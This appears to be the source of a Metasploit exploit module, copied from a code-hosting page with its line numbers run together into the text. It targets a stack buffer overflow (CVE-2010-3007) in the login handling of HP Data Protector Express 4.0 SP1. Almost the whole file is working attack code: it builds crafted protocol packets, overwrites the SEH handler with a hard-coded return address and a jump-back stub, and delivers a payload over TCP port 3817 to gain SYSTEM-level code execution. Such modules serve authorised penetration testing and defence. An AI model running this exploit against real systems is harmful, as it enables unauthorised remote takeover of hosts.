Path: blob/master/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'HP Data Protector DtbClsLogin Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The18overflow occurs during the login process, in the DtbClsLogin function provided by19the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an20insecure way with the username. A successful exploitation will lead to code execution21with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server22Service) process, which runs as SYSTEM by default.23},24'Author' => [25'AbdulAziz Hariri', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'References' => [29[ 'CVE', '2010-3007' ],30[ 'OSVDB', '67973' ],31[ 'BID', '43105' ],32[ 'ZDI', '10-174' ],33[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]34],35'Payload' => {36'Space' => 712,37'BadChars' => "\x00",38'DisableNops' => true39},40'Platform' => 'win',41'Targets' => [42[43'HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',44{45'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)46'Offset' => 71247}48]49],50'DefaultTarget' => 0,51'Privileged' => true,52'DisclosureDate' => '2010-09-09',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)60register_options(61[62Opt::RPORT(3817),63]64)65end6667def check68connect6970machine_name = rand_text_alpha(15)7172print_status("#{sock.peerinfo} - Sending Hello Request")73hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"74hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"75hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"76hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"77hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"78hello << "\x00\x00\x00\x00"79hello << machine_name << "\x00"80hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"81hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"82hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"8384sock.put(hello)85hello_response = sock.get_once(-1, 10)86disconnect8788if hello_response and hello_response =~ /Dtb: Context/89return Exploit::CheckCode::Detected90end9192return Exploit::CheckCode::Safe93end9495def exploit96connect9798machine_name = rand_text_alpha(15)99100print_status("#{sock.peerinfo} - Sending Hello Request")101hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"102hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"103hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"104hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"105hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"106hello << "\x00\x00\x00\x00"107hello << machine_name << "\x00"108hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"109hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"110hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"111112sock.put(hello)113hello_response = sock.get_once(-1, 10)114115if not hello_response or hello_response.empty?116print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")117return118end119120bof = payload.encoded121bof << rand_text(target['Offset'] - bof.length)122bof << generate_seh_record(target.ret)123bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8}").encode_string124# The line below is used to trigger exception, don't go confused because of the big space,125# there are only some available bytes until the end of the stack, it allows to assure exception126# when there are mappings for dynamic memory after the stack, so to assure reliability it's better127# to jump back.128bof << rand_text(100000)129130header = [0x8451].pack("V") # packet id131header << [0x32020202].pack("V") # svc id132header << [0x00000018].pack("V") # cmd id133header << [0].pack("V") # pkt length, calculated after pkt has been built134header << "\x00\x00\x00\x00" # ?Unknown?135136pkt_auth = header137pkt_auth << bof # username138139pkt_auth[12, 4] = [pkt_auth.length].pack("V")140141print_status("#{sock.peerinfo} - Sending Authentication Request")142143sock.put(pkt_auth)144disconnect145end146end147148149